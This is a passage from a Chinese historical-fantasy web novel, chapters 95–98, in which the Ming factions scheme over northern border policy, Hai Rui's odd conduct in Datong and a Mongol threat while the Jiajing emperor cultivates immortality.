徐阶也没有继续在这个话题上纠结,话锋一转,道:“殿下,既然已经确定了是当初的第一种猜测,皇上是在挑选最终储君人选。” “同时也更加证明,陛下完全不在乎身前身后名了,立贤不立长,这在史书上,可是会被视作污点的,也意味着陛下默许了争斗!” “嗯,”心中又因为那被均摊的父爱而高兴的裕王,深吸口气,平复心绪后,点了点头,道:“我明白,此战只许胜不许败!” “说说最近大同那边的情况吧……” 裕王到底是个能拎得清的,很快便进入正题。 “我先来吧,”张居正点了点头,道:“严党的屯兵兴农国策,遭到了军户的反对。” “如今国策的宣传,遭遇了阻碍,面对闹事的军户,地方官员提议镇压,唐顺之否决了。” “虽然没有一次就让严党彻底把事闹大,但这也是意料之中,唐顺之毕竟不是一个简单的打仗将军,他跟胡宗宪一样,是个能臣。” “他自然看得明白,一旦出兵镇压,会是什么局面,所以他下令暂时搁置宣传屯兵兴农的国策,以及有偿征用各地大族手中的田地。” “第一回合的交锋,算是我们胜利了。” “不过,提议镇压的官员中,除了我们的人,还有严党,这点不难看出是严世蕃那狂悖小人的手笔。”这时,赵贞吉也跟着开口。 “严党吃了一个败仗,接下来恐怕严嵩会亲自出手,他可比严世蕃难对付多了。” “那个海瑞呢?”这时,裕王又像是想到了什么,开口问道。 “海瑞身边的参政说,他依旧没什么动静,而且他似乎是在观察,每日都在记录……”说到这里,赵贞吉的语气古怪道: “听说那个海瑞有些古怪……” “古怪?”裕王闻言,眉头一皱,道:“那个海瑞又怎么了?他有何古怪?” 嗯,他对这个海瑞,其实是又怕又喜,这把剑他也想用,可又有些力不从心。 而在裕王询问的同时。 景王府这边,严世蕃的声音也跟着道: “密报说这个海瑞自从到了巡抚衙门后,每天都会面朝京城的方向,跪地求仙拜神……” “整天神神叨叨的,总是对着老天说话。”说着,严世蕃眉头紧皱,道:“还说抵达大同的第二天,他就去了一趟纯阳宫……” “这个海瑞,自从进了一趟宫,就仿佛被皇上给影响了一般,也开始信奉那些鬼神了!” “这个‘海笔架’的威名我也听过了,”景王沉吟片刻后,道:“严阁老怎么看?” 闻言,严嵩抬了抬耷拉的眼皮,沉吟半晌后,终究还是幽幽道:“老臣也看不透……” 是的,没错,严嵩也不知道怎么了,一个好端端的海瑞,怎么就突然开始神神叨叨了。 裕王府,大殿中。 “明受,”张居正若有所思的看着同样一脸懵的王用汲,道:“海瑞此前也有这方面的毛病吗?” 王用汲:“……” 这话算是把他给问住了。 “回禀诸位阁老,殿下,”王用汲微微起身,对着众人拱手一礼后,摇头苦笑道:“说实话,我也是头次听说刚峰兄有这毛病……” 王用汲此时都无法想象,海瑞跪在地上,满脸虔诚的祈求满天神佛的模样,这画面,简直是,嗯,简直是无法想象。 一时间,说到海瑞后,以裕王和景王为首的,清流和严党两派,再次因为海瑞而懵了。 海瑞,他们都清楚,是一把悬在清流和严党头顶的利剑,由不得他们不重视。 而就在两派发懵的时候,玉熙宫内,嘉靖突然睁开双眼笑道:“这个海瑞,竟然还埋怨朕不肯现身,跟他直接说话……” “呵,”说着,嘉靖又轻笑一声,道:“看来,没人比海瑞更希望朕,早日筑基了啊。” 一旁的吕芳拿着笔,坐在小桌上,道:“主子,接下来怎么回海瑞?” “告诉他,严嵩要对晋商出手,想要让铁板一块的北境之地内乱,你让他先别管。” 说着,嘉靖语气不急不缓道:“到时严嵩会给他主动交人,有他出剑的时候。” “是。”吕芳应了一声后,继续开始奋笔疾书。 “……” 第九十五章 我海瑞,从不顶撞上官! 大同镇。 巡抚衙门,后堂。 一袭粗布青衣的海瑞,端坐于椅子上。 看着手上王用汲给的信笺,半晌后发出一声轻笑。 “难道我海瑞就不能求仙拜神吗?这个明受……”说着,海瑞将手中的信笺放在桌上,“不过,我的行为很反常吗?” “值得清流和严党同时注意?” 海瑞双手交叉,撑着下巴,凝视着前方,突然又哑然失笑坐起身,看着桌上堆积的,清流和严党,各级官员递上来的公文。 不用看他都知道是怎么回事。 军户闹事,清流想要派人镇压,严党也是这个意思,但他海瑞可不会跟着胡闹。 最重要的是,他知道皇上在下一盘大棋,他自然不能给皇上拖后腿。 皇上已经走上了一条修仙之路,而且皇上是想要将大明带往一个更好的方向的,他不敢有丝毫的轻举妄动,生怕耽误了皇上的大计。 想到自己这段时间以来的清闲,海瑞突然间,竟跟那些贪官污吏,有了几分感同身受。 嗯,这可把他给狠狠恶心了一把! “难怪会有这么多的贪官污吏,多拿少干……人之本性尔!”海瑞坐在椅子上,拿起桌上一本纯阳宫借阅的道家典籍默读了起来。 “既然皇上能踏上修仙之路,那说明这世上存在仙神,毕竟皇上不可能无缘无故就拥有仙法,定是仙人赐福,若真是如此……” 想着,海瑞又放下手里的道家典籍,抬头朝着一旁窗户看去,望向那湛蓝的天穹。 “是否,仙神就存于那天外……” “踏踏踏!”一阵急匆的脚步声响起,伴随着的还有一个慌忙的声音。 “抚台,抚台,出大事了,不好了……” 一名身穿绿色官袍的中年胖子,急匆匆的闯了进来。 “哎呦,我的抚台啊,这都什么时候了,您还有闲工夫看这种闲书?”参政李志远看到海瑞手里的道家典籍后,顿时气急。 他就不明白了,这个海瑞不是出了名的清官,还有着什么“海笔架”的绰号吗?怎么到了大同以后,就如此荒唐,堕怠了? 政务可以说是一概不理,最多也就是处理了几個之前涉嫌贪污,鱼肉百姓的官吏。 然后就开始深居简出,成天的大门不出二门不迈,不是诵读黄庭,就是在钻研道家典籍,嗯,还有一些佛家的经文。 难不成传闻中说的此人如何如何清廉刚直,为民请命,顶撞上官,都是假的不成? 莫非这该海瑞,在玩一种很新的,官场扬名手段?嗯,怕是很有可能! 这世上,哪有清官呢,都是“炒作”! “何事?”海瑞抬头看了眼自己的这个参政,说话间还好整以暇的翻了页。 参政李志远,清流安排在他身边的人。 “军户闹事,县衙就抓了人,现在一群军户已经把县衙给围了起来,县衙都快顶不住了,现在就可以说是民怨滔天了!” “总督怎么说?”海瑞依旧不以为意。 这次的“北境之战”他也看的分明,严党显然是吃了败仗,清流依旧想要把事闹大,但这事不能是他们出手,必须是严党下的命令才行。 这李志远找到自己,无非就是想让自己出面,镇压这些闹事的军户。 至于自己的阵营,可以随时属于清流也可以属于严党,就看事态怎么发展,自己怎么做了。 若是自己出兵镇压,那自己就是严党一方,若是自己不出兵,那自然就是清流一方。 如今的局势,是事件,裹挟自己,而不是自己引导事件。 “唐总督始终不愿意派兵,这您是知道的,”李志远说着,语气一顿,面容又是一片愁苦之色,低声下气道:“若是再闹下去,怕是要出乱子,您是上面来的,下官可受不起……” “不如,抚台就派兵,驱散那伙兵痞?” 宣大总督是宣府和大同地区的最高军政官,负责两个地区的军事防御和政务管理。 在官位和权力上,总督是高于巡抚的,拥有最大的权限,因此若是重大事件,总督可以直接进行决断,而不需要经过巡抚。 至于大同巡抚,负责的是大同地区的具体管理和军事防务,虽然在权限上不如总督广泛,但在日常管理和局部事务上拥有较大的自主权。 如今,宣大总督和巡抚同处于大同。 一般来说,大同巡抚需要服从宣大总督的指挥和调度。 宣大总督对于重大决策有最终决定权,而大同巡抚则需要执行总督的命令,并在其指导下管理大同地区的具体事务。 然而,这些都是明面上的,实际情况还要考虑很多,比如一些必要的人际往来,人情世故。 因此,有大决策,都是二者协商沟通。 大同巡抚,还可以在特定情况下,向宣大总督提出建议,并参与讨论。 所以,海瑞也是可以派兵去镇压的。 “李参政,”海瑞合上书籍,凝视着李志远,“你为官多少年了?” “嗯?”虽然不知道海瑞是什么意思,不过李志远还是道:“下官做官,十年出头了……” “十年了,”海瑞点了点头,双手撑着案桌,大气的坐在案桌后,道:“既然为官这么久,这点为官之道都不懂吗?” “总督前些日子才下令不准镇压军户,主要以安抚沟通为主,你让本官派兵镇压?” “你这是要本官枉顾上官命令?驳了总督的颜面?”说着,海瑞俯身,凝视着李志远,道:“李参政,你这是要断送我的官途?” 看着浑身上下,都散发着正义之气,然而说出的话,却句句隐含人情世故的海瑞,李志远整个人都呆了,这真的是那个海笔架? “抚台,可是那些军户无理取闹,就算是镇压也是他们咎由自取啊,朝廷法度……” “不要跟我说这些!”海瑞直接抬起一只大手打断李志远要说的话,而后手一翻,指向门口,“我海瑞,从不顶撞上官,下去吧!” 看着理直气壮,义正言辞的海瑞,李志远张了张嘴,最后只能一甩袖,转身离去。 参政李志远走后,副使王安国,穿着红色官袍,急匆匆的走了进来。 “抚台,绝对不能派兵,军户闹事情有可原,这是有人故意使坏,千万不能……” 说着,却见海瑞淡定的起身,道:“放心吧,没有总督的命令,我是不会擅自行动的。” “如此,如此甚好……”看着这位传闻中的海笔架,王安国眼底闪过一抹异样之色。 “还有事吗?”海瑞看向王安国。 “没,没了,既然抚台已有决断,下官就放心了…下官告退……”说完,王安国一步三回头的转身离开,只觉得这个海瑞也没什么不同。 亏得小阁老每次来信,都会强调,警惕这个海瑞。 呵,言过其实了,传闻终究是传闻而已,也不过是个银样镴枪头。 “呵,”看着急匆匆来,急匆匆离去的李、王二人,海瑞负手站在门口,发出一声轻笑,有些自语的意味,道:“道家言:挫其锐,解其纷,和其光,同其尘……” “看来我海瑞,也有和光同尘的潜质?”说着,他又摇头,目光灼灼道: “儒术,道法,和光同尘,浩然正气?无论何术,有益于国者,皆可用之!” 海瑞,从来都不是一个拘泥的迂腐之人,反而是个很有头脑的聪明人。 “我海瑞与君父一心!” 一连数日,海瑞始终对大同的政务一副不理不睬的模样,他这幅“摆烂”的行为,也引起了清流和严党两方的激烈讨论。 “……” 第九十六章 人人都想掌握海瑞这把剑!俺答来犯,杀机起! 裕王府,大殿上。 王用汲此刻坐在最末尾,听着众人对海瑞的讨论,只觉得如坐针毡。 “这个海瑞,葫芦里,到底卖的什么药?”性格耿直,脾气火爆的高拱怒声道:“不是说他嫉恶如仇,为官刚正不阿吗?” “什么时候处事也如此的圆滑了?” “说什么从不顶撞上官,那定海县是怎么回事?难不成此前种种,都是他为晋升上官,为官途坦荡而为的一场作秀不成?” “如今得到皇上的赏识,高升了,也开始如履薄冰了不成?” 高拱是很看重海瑞的,但此时听闻一桩桩一件件,海瑞在北境的种种,让他很失望! 当然,他的看重,是将海瑞视作一把可利用的剑,以实现自己的抱负! 皇上大限将至,大明将面临一场权利洗牌,若是跟严党的这一战胜利了,那么内阁首辅的位子,毫无疑问就是次辅徐阶了。 论资历,在场众人中,只有自己能成为下一个次辅,那么他若是想要向上爬,就必须要让徐阶下台,这个海瑞就是一把好剑! 可是此刻,这把剑有了瑕疵!即便这种瑕疵,是官场人人具备,放在任何人身上,都可以看做是完美的的东西——和光同尘! 但这东西,出现在海瑞身上,就不行! “过刚易折,”作为海瑞的上官,赵贞吉此刻倒是对海瑞这一番在局势不明朗之前,保守观望的处事方式很赞赏,“他或许有所考量。” 嗯,他兼着户部尚书,海瑞是他的人,海瑞懂得进退,审时度势,知道变通,很好! 这样的海瑞,定能为自己少惹一些麻烦。 “看来,回去要给海瑞去一封信了,多提点一二他为官之道……”赵贞吉揣着手,低眉垂目,老神在在,但眼中却也有了些计较。 听到两位阁老的评价,王用汲此刻却是心绪复杂无比,难道刚峰兄他,真的改变了? 刚峰兄竟然能懂得照顾上官的颜面,还知道官场人情世故? 一时间,王用汲为海瑞高兴的同时,却又在心里,开始无奈叹息。 高兴的是海瑞懂得变通,那以后在官场会少碰一些钉子和少一些针对。 作为好友,他是真心感到欣慰! 叹息的却是,就连刚峰兄这样的人,也终究是被这讲究和光同尘的官场给同化了……难道官场,真的不能清浊分明吗? “海瑞此人,或许我们都看错了,”这时,张居正缓缓开口,沉吟片刻后道:“此人并不是个迂腐之人,我相信他清廉刚正……” “但此人绝非一根筋,他定是有所谋划,而且海瑞背后还有皇上……” 张居正说着,以手抚须,狭长的眸子里有光泽浮动。 海瑞的背后是皇上又如何呢? 皇上终究是大限将至了,这点所有人都看得分明。 但是,一个懂得变通的海瑞?若是如此的话,那此人日后,也不是不能为他所用。 心中千般计较的同时,张居正的目光微微瞟向徐阶和高拱二人。 若是北境一战胜利,那接下来这個崭新的大明,内阁将迎来一场全新的权力交替更迭。 而自己的抱负,若想要实现,就必须向上爬! 高拱、张居正和赵贞吉都发话了,然而只有徐阶,始终一副低着头沉默的样子。 “这个海瑞的事情就先放一边。”裕王大手一摆,道:“不如先想想,接下来严党会如何出手?” 海瑞是不是懂得变通,他不在乎,他现在只在乎胜利,如何扳倒严党,废了景王! 只要自己胜利,这天下就是自己的,若是这个海瑞懂得变通,那对他来说手中又多了一个制衡内阁的棋子,他不会允许内阁无人制衡。 海瑞是一把利剑,应该掌握在他手里! 景王府,大殿之中。 “这个海瑞,这次竟然没有捣乱,这可真是破天荒了!”严世蕃异样道。 “一把懂得变通的剑,可就不好用了。”这时,上方位置的景王却淡淡开口,道:“多了一些不确定的变数……” 听到景王这么说,严世蕃的眉头也跟着皱起,深吸一口气,语重心长道:“确实如此。” 说着,看向老神在在的老爹严嵩,道: “爹,事儿已经吩咐下去了,若是这个海瑞依旧如此行事,那想要利用晋商和士绅大族的矛盾,彻底打破清流在北境的这块铁板,可能会横生变故,毕竟海瑞是我们计划中的一环。” 听到严世蕃这么说,严嵩没有说话,依旧是低着头,一双浑浊的老眼中不断有光泽浮动。 “海瑞的背后是皇上。”半晌后,严嵩终于在景王跟严世蕃的注视下开口,声音温吞道:“他是一把剑,一把做最终裁定的天子剑。” “放心吧,”说着,严嵩缓缓起身,严世蕃见此赶紧上前扶着,“帝王之道乃是制衡之道,殿下放宽心,海瑞是什么人从来都不重要。” “重要的是,他的一切行动,代表的是皇上,现在的北境之地,清流铁板一块,清流势大,我们弱小,我们反抗皇上是不会干涉的。” “一切照旧即可,”说着,严嵩慢吞吞行礼道:“海瑞这把剑,服从于至高的皇权。” “他现在的表现,说明了只有皇上才能让他懂变通,让他臣服。” “此间事了,殿下可以试着与之交好,这是把天子剑,但需要你登上大位才能用……时间不早了,老臣告退了。” 严嵩是最了解嘉靖的人。 海瑞这些反常的举动,服务于皇权。 所以海瑞,与其说是变数,倒不如说是圣意。 圣意所指,便是海瑞剑锋所向之处。 景王略一思索后,脸上露出一抹笑容,看着对自己行礼的严嵩和严世蕃二人,微微颔首,道:“本王受教了,来人,送严阁老。” 嘉靖四十年,八月初三,阴。 玉熙宫,灵田小院的范围,再次扩张。 这一次,小院左右两边的院子也被打通,并经过一番翻新后,铺上了灵土。 整个灵田小院,整体呈一个“皿”字形。 中间以那株柳树苗为中心,铺就灵草,灵气最为浓郁,左边则开始种植一些“灵稻”,右边则是种植着一些灵植,灵瓜、灵果。 此时,嘉靖端坐于灵田小院的正中间,周身灵气以他为中心,形成了一个漩涡。 一旁的吕芳则盘腿坐在玉熙宫后门口,惊异的看着修炼的嘉靖。 “哗!”突然就在这时,灵气漩涡激荡,灵气陡然散开,形成一股大风,吹得吕芳几乎睁不开眼,片刻后灵气大风平息。 “呼,”嘉靖轻吐出一口浊气,缓缓睁开双眼,眼底有灵气掠过。 “一百两灵源,境界松动一次,想来年底,应该能突破练气六层……”心中想着,嘉靖缓缓起身,看向门口已经起身的吕芳。 “恭喜主子帝君,修为精进!”吕芳立刻跪在地上恭贺道。 “嗯,”点点头,嘉靖看向吕芳,道:“这段时间,北境如何了?” 这次修炼,嘉靖并没有回修仙界。 一来,他回来也才一个月,那边小家伙们都已经开始修炼,野市没个一年半载弄不好,他回去也没有什么事,而大明这边他是打算呆一年。 等到明年二三月份,屯兵兴农的国策也就施行下去了,卫所制会步入正轨。 之后,就轮到自己整顿吏治了。 所以他打算等把大明这边的事都修整差不多后再返回修仙界,然后着手闭死关突破筑基了。 “回主子,北境之地乱了。”听到嘉靖问起,吕芳眸光一闪,低声道: “严党先是打压晋商,扶持老牌士绅大族,同时扶持被打压的晋商,打压一些新兴,和微小的士绅家族,成功将铁板撕开了一道口子。” “这是预料之中的事……”嘉靖点评了一句。 “而严党趁着乱局,拉拢了一批晋商,和一些微小的,新兴的士绅家族,算是稳住了阵脚,有晋商和士绅家族两个团体支持,一些混的不如意的军户,倒也愿意回归耕种。” 主仆二人边走边说,已经来到了玉熙宫。 “而对于这些愿意耕种的军户,严党更是重点扶持,打算将这些人树成典型,同时继续用打压的方式,从‘互市’下手……” “而清流也不甘示弱,开始激烈回击。” “不过严党已成气候,这第二回合的一阵,算是清流败了。” “唯一麻烦的是……”说着,吕芳略一迟疑,皱着眉头道:“俺答似乎有异动,边境军户接连暴动,引起了他们的注意。” “边境来报,蒙古边境时有土默特部的探子和一些铁骑掠过,互市也多有冲突。” “唐顺之上了奏本,”说着,吕芳看着脸色陡然冰冷下来的嘉靖,顿了顿又道: “内阁两派也因为此事,争吵不休,奴婢担心,清流或者严党,可能会以此事做第三回合开战的筹码,闹大了可能会导致与俺答冲突……” “俺答!”嘉靖眸子底像是有寒光涌动,一念间,杀机已起。 “主子也不必动怒,俺答不过凡人蝼蚁,无需担心。”吕芳如何不知道再次听到俺答可能来犯,对主子来说意味着什么,立刻宽慰,道:“主子如今是仙人,区区俺答不过挥手可灭,无需放在心上。” 嘉靖二十九年,大明被蒙古人强行轰开国门,强行开通‘互市’,强行交易。 而以俺答的实力,若是当时一心强攻,那主子很有可能是大明第二个被俘虏的皇帝! 一直到现在,蒙古对边境的骚扰始终不断,这何尝不是一种无声的威胁。 而以大明的军事实力,真打起来怕是胜负不可言说。 “等国策施行后,一年时间我大明就能稳定,届时养精蓄锐,我大明王者之师未尝不能将那蒙古蛮夷扫尽,永绝后患。” “让内阁明日午时,玉熙宫议政,”嘉靖摆摆手,道:“沐浴。” “是,”吕芳应了一声,下去准备沐浴用具。 想到蒙古,嘉靖眸光闪烁。 心中一动,摊开手掌,两张巴掌大小的小巧符箓悬浮在掌心之上。 一张土属性的攻击符箓,使用可开山裂地。 一张御空符,最大上限可维持一天时间。当然,还要考虑使用者的灵力几何。 以嘉靖练气五层的修为,从京城飞到边境一个来回,根本不在话下。 “朕会让你们知道,什么叫…天怒!”嘉靖盯着手心上的两张符箓,心中杀机已起。 “……” 第九十七章 顺应自然,即顺应圣意 玉熙宫,偏殿。 “朕的国师最近如何了?”靠坐在浴桶里,嘉靖闭着眼随口问道。 “罗天大醮还没开始就失败,天下人对咱们这位名头极大,类比甘罗的国师讨论,还是很大的,妖道魅惑君王之名不减。”吕芳轻笑道, “听黄锦说,国师倒是看的很开,”见嘉靖面容微宽,吕芳又继续缓声道: “国师说‘物固有所然,物固有所可。无物不然,无物不可’。” “呵。”听到这话,嘉靖轻笑,手搭在浴桶边缘,手指轻轻敲击着,似是很舒心。 “倒是个真随遇而安,又看透彻的,不负朕赐她清风玄灵守真慧悟真人之尊号。” “主子说的是,”见主子心情放松,吕芳微微一笑,也乐的说点轻松的:“道号清风,说国师外表清新脱俗,如自然清风般纯净。” “国师是被祝福,也被寄予美好期望的。” “主子赐她玄灵二字,却是看出她论道上的深邃与灵动,既有玄妙的智慧,又有不拘一格的灵性,嗯,国师也确实有灵性。” “守真二字,说她坚守道家真谛的纯洁心灵,即使在言论上可能打破常规,但她对‘道’的本质领悟,却是不变。” “慧悟二字,说明国师拥有深刻的洞察力和独特的见解,即使是那些被视为异端的思想,也源于她对世界的深刻理解和智慧。” “而东南一行,却也证明了她的守真、慧悟,”说着,吕芳微微一笑,道:“修行,达者为师,道不在于形,在于悟。” “这‘真人’二字,她也当得。” “清风玄灵守真慧悟真人,主子对那丫头的期望,并没有落空。” “你倒是看的透彻,最近读书了?”嘉靖抬了抬手,笑道。 “瞧主子说的,”吕芳讨好着轻回了一句,“奴婢沾主子仙光,自是悟性如来。” 嘉靖点点头,嘴角微动,“从如实之道而来,开示真理,你倒是不拘泥于一家之言。” “奴婢是主子的家奴,代表的是皇族,主子统御诸法,自是包容万法,无需拘泥。” “不过你有句话说错了,”嘉靖微微颔首,道:“她先是朕的国师,后才是达者。” “哗啦,”说着嘉靖起身,直接接过吕芳递来的宽大白衣道袍穿在了身上,赤脚踏上了精舍,“这次又要劳烦朕的国师了……” “晚些时候,你去玄圃宫走一趟。” “是。”听到主子的话,吕芳微微一笑,他知道,主子对北境之事,已然是有了打算。 嘉靖四十年,八月初四,阴。 西苑外。徐阶,高拱,张居正和赵贞吉等清流派大佬,向来都是来的最早的。 不一会,严嵩和严世蕃的轿子也落下。 “诸位来的早啊,”严嵩在严世蕃的搀扶下,从轿子里出来,对着徐阶等人拱手,“转眼已是立秋,天气越凉了啊。” 虽然彼此已经在明面上彻底撕破了脸,私下里争斗的恨不得将对方除之而后快,但在朝堂上,彼此都还是很顾忌体面的。 严嵩身为内阁首辅,率先打了招呼,徐阶等人自然也不能完全漠视,只能微微拱手示意。 之后,听到严嵩的话,高拱垂手而立,张居正面色平静,赵贞吉眉眼低垂。 倒是徐阶脸上挤出一个笑容,温声道:“天气转凉,阁老千万要保重身体。” “我这把老骨头,保不保重没什么打紧了,”严嵩佝偻着背,摇头轻叹道:“我只希望能顺利的将国策施行下去。” “只希望国策可以早日实施,边疆可以早日安宁……” “阁老说的是,”徐阶微微颔首附和,道:“世事难料,谁能想到俺答会有异动。” “就怕是有人为了利益,里通卖国!”这时,严世蕃阴阳怪气的说了一声。 “小阁老说的是,”严世蕃一开口,高拱也不惯着他,当场开火,冷笑道: “就像是嘉靖二十九年,时任宣大总兵的仇鸾,竟然会以重金贿赂俺答,期望他勿犯大同。结果如何,大家有目共睹!” 说着高拱上前一步,双眼如刀子一般,盯着严世蕃,道:“仇鸾这等无能之辈是怎么坐上这宣大总兵的位子的,小阁老心里最清楚!” 严世蕃跟高拱的争吵,徐阶跟严嵩都是默不作声,似乎是没有听到一般。 “高拱,你少在这里含沙射影,仇鸾任命一切合规章程,当时皇上也是认可的!” 说着,严世蕃更是恶人先告状,怒声道:“你翻旧账,是在怪罪皇上吗?” “高拱,你好大的胆子!” “严世蕃,你少在这里胡搅蛮缠,我……”高拱被一顶帽子扣下,就要出声反驳,就被徐阶沉声打断,“肃卿,慎言!” “世蕃,是非功过已有定论之事,就不要再提了。”徐阶开口后,严嵩也跟着开口。 “哼!”严世蕃跟高拱互相冷哼一声,拂袖转向一边。 不过严世蕃眼神中却是有怨恨之色浮现,他决定了,等会御前议政,定要报仇! 气氛随着严世蕃和高拱之间的火药味而变得冷淡下来,好在不一会,两架轿辇驶来。 众人知道,是裕王跟景王来了,纷纷上前见礼。 “臣等参见殿下。” 一袭玄色鎏金蟒袍的裕王,严肃的面容上露出一抹笑容,看向一旁从轿子出来,一袭红色鎏金蟒袍的景王,兄弟二人点头示意,而后同时道:“诸位请起,不必多礼。” “时间不早了,我们也进去吧……四弟?”裕王看向景王。 “三哥请。”景王抬手,兄弟二人相视一笑,当先一步,率领内阁众人进了西苑。 玉熙宫外,吕芳已经率司礼监众人等候。 今天的议政比较特殊,需要他跟主子一同配合,不论是陈洪又或者是黄锦都不行。 玉熙宫大殿内。 最上方依旧是高高在上的皇帝专属的御座,不过让众人没想到的是,却有四个坐位摆放。 紧挨着御座右手边是一张小凳。 下方一左一右,是裕王跟景王的专属。而在下方香炉处,则是严嵩的小凳子。 众人看着那紧挨着御座的小座,心中暗暗猜测起来。 “诸位,”等众人都找准自己的位子后,吕芳踏出一步,先是对裕王跟景王行了一礼,而后这才不紧不慢,道: “不久前,国师夜观星象,见北天有异动,星辰之间似有交战之兆。北方之象主于武事,近来星辰之间屡现异常,或为兵戈之象。” “在与皇上彻夜相谈后,得皇上允许,国师也会与诸位一同商议北境之事。” 国师,那个清风玄灵守真慧悟真人?听到吕芳的话,内阁众人神情各异。 清流一派自是眉头紧锁,觉得内阁御前议政,有两位殿下主持就够了,竟然还要一个十六岁的少女来胡闹?岂非儿戏? 但不管他们有何不满,也只能忍着,想到皇上大限将至,一切行为或许都是对裕王和景王的一种考验,和观察,他们也只能按下想法。 皇上快要不行了,这個时候的任何一个微小的举动,都有可能隐藏着某种深意。 他们自是要谨慎对待! 一旁的严世蕃,听到这话后,却是心头一喜,尤其是听到“彻夜相谈”四个字,更是喜上眉梢,心中不禁暗道: “清风丫头果然爬上龙榻了?”不过很快,他眉头又皱了起来,心中暗暗嘀咕,“不对,皇上大限将至,还能行吗?” 一时间,严世蕃心头也不由暗暗一凛,他也想到了皇上此举,或许有某种深意。 此前他若是听到这话,定会高兴,但现在想到皇上大限将至,靠药物维持体面,又如何还能想那方面的事儿? 而严世蕃的想法,也是在场众人的想法。 没有人会把清风出面参与议政,当做是儿戏,都意识到这会是皇上释放的一个信号。 偏殿,随着吕芳话音落下,清风一步三回头的看着坐在精舍中打坐的嘉靖。 “唉。”知道自己必须要参与到山下这些人的生存斗争中的清风,微张了张小口,轻叹了口气,略显婴儿肥的一侧小脸皱起一个好看的小小梨涡,而后迈步朝着大殿而去。 “道常无为而无不为呀……” 她自然明白,在大明,顺应自然,即顺应天意,顺应天意即顺应圣意。 “……” 第九十八章 朝堂之上,称官职!严世蕃要爆料? 一袭藏蓝色道袍,相比于冬上的棉质道袍,现在这件道袍多了几分单薄,让清风的身形显得多了一些灵巧,轻盈。 在场的除了严嵩父子,吕芳等司礼监的人外,都是第一次见这位传闻中的少女国师。 小,太小了,年龄太小了。 看着眼前这位顶着一张还略显稚嫩可爱的鹅蛋脸,只有二八年华的少女国师,众人都是心思各异。 如果说在东南之行前,清流一派众人对清风的认知,仅限于严党在谄媚惑上,所以给陛下深宫中,送去一个稚嫩少女道士。 那么自东南行,皇上用一场罗天大醮,挥手间便轻轻松松压下了乱局,同时还收回海瑞这把不受控制的剑后,他们就不敢小觑了。 所有人都错看皇上了。 十六岁的少女国师,同样也是皇上在察觉到自己大限将至前,打造的一个工具。 如今,北境之事,皇上再次祭出了这个工具,显然皇上又要出手了。 一时间,所有人的心,都不由的提了起来。目光审视的打量着眼前这个少女国师。 被这么多站在大明巅峰的掌权者,用一种警惕,审视的目光盯着,清风倒是平静无比,无他,唯四个字:心如止水。 “国师,请上座,”吕芳看到清风,脸上露出笑容,领着清风到嘉靖御座旁边的小凳边,“这是主子特意给你安排的。” 众人看到这一幕,都在心里暗道了一声,“果然”。 这個御座旁的小凳是安排给国师的。其实听到吕芳说国师会主持会议,他们就想到了。 坐在御座下方的景王跟裕王,也都微微回身对着清风颔首,释放着自己的善意。 不管这个少女国师,是父皇的什么人,在父皇离开之前,北境之战结束前,都有可能对他们争储,造成一定的影响。 等所有人都各归其位后,这时偏殿传来一声铜罄敲响后的幽幽嗡鸣之声。 “今天讨论的就一个,”吕芳神情严肃的上前一步,道:“北境之事为何会闹到今日的地步?俺答之事,必须拿出个章程来。” 说完,吕芳看了内阁众人一眼后,退到陈洪前面,淡淡道:“开始吧。” “不久前,唐顺之上本,其实说的已经很清楚了,这次之所以会有俺答觊觎大明之祸,完全是大同军户接连暴动之故!” 憋了一口气的严世蕃,率先开火。 众人见严世蕃开火,顿时神色各异,却也没有谁站出来反对,因为这就是事实。 俺答看中的无非就是互市,这也是大明自嘉靖二十九年后,双方相安无事的重要原因。 但是随着严党挑起晋商和士绅大族的矛盾,导致互市交易中,大量赖以商业为生的军户,开始闹事,而与蒙古的交易也遭受影响。 如此大的动静,平日里没事都会骚扰大明的蒙古人,更何况边境的事闹得那么大,他们岂会放过这个再敲大明一笔的机会? 没错,众人都看得分明,俺答突然派铁骑在边境行动,无非就是给大明释放信号。相信用不了多久,就会有各种“请求”发来。 不过如今边境那边,不论是严党还是清流,早在半年前就开始调兵遣将,将各自派系最精锐的干臣,能臣给送了过去。 也因此,此时边境已经是剑拔弩张。 而清流和严党又因为前两个回合,双方互有胜负,决心开启第三回合,赶巧了,俺答来犯,如此双方都看到了一个契机。 那就是利用俺答来犯之危,彻底击败对方。也正因为看穿彼此的算计,双方的第三轮交锋,直接从边境,转到了朝堂之上。 所以,今日就是要把俺答来犯之危的主要责任,扣在对方的帽子上,只要斗倒对方,那么对方关于北境的一切后手都将作废。 “屯兵兴农的国策,本就是由我爹负责……”严世蕃情绪激动,然而话还没说完,就被严嵩开口呵斥,“严世蕃!” “这里没有什么爹,只有君臣,朝堂之上,称官职!” 被老爹抢白的严世蕃一噎,险些情绪没上来,幽怨的看了眼老爹,然后继续道:“当初屯兵兴农的国策,就是由严阁老提出。” “皇上钦定由严阁老负责,户部和兵部共同督办,可是我们在北境宣传国策,采取怀柔政策,却遭到了激烈的反抗。” “那些士绅大族煽动军户,聚众闹事,阻碍国策施行,区区的地方士绅家族,竟然敢阻碍朝廷国策施行,足以见得其背后势力的庞大!” 严世蕃说到这里,冷笑着,环视在场清流等人。 “东南之事,当地士绅家族兼并土地的例子还在,就是因为朝中有人撑腰!”说到这里,严世蕃可以说是剑锋直指徐阶。 “这一次与上次经历何等相似?” “这里头,会不会依旧有人在为那些家族撑腰,因为屯兵兴农的国策施行,是要征收那些人的土地,所以有人就不高兴了。” “开始跟朝廷作对,开始跟皇上作对?” 严世蕃的一番话说出,震得在场众人耳畔嗡鸣。 裕王见严世蕃又旧事重提,想要把脏水引到徐阶等人身上,眉头不由皱起。 一旁的景王倒是始终平静,看不出什么表情来。 “东南之事,不过是有利益熏心之辈,地方士绅家族跟官府勾结所致,皇上已经圣裁定夺,小阁老如今提出,是在质疑皇上吗?” 率先站出来说话的,依旧是张居正,出手就是以其人之道还治其人之身。 不是只有你严世蕃会扣帽子,我也会! 已经经过圣裁的案子,你还翻出来?这就是你不懂规矩了,你这是在质疑皇上的公平? 而在张居正说完之后,赵贞吉紧跟着就开口对着严世蕃开火。 “小阁老既然质疑皇上,莫非是要重启东南土地兼并一案?不如小阁老就地拟出一个章程来,正好今日就派个人去东南查一查!” “左右不过是北境已乱,俺答蠢蠢欲动,再加一个东南沿海,倭寇也效仿来个入侵!” “南倭北虏,上下夹击,把我大明朝给掀翻了,小阁老你,才会高兴吧!” 赵贞吉的话不多,但狠毒! 先是跟着又扣了一顶居心不良,要让大明大乱的帽子,然后又将了严世蕃一军。北境已经乱了,你这个时候翻旧账,这是要查东南? 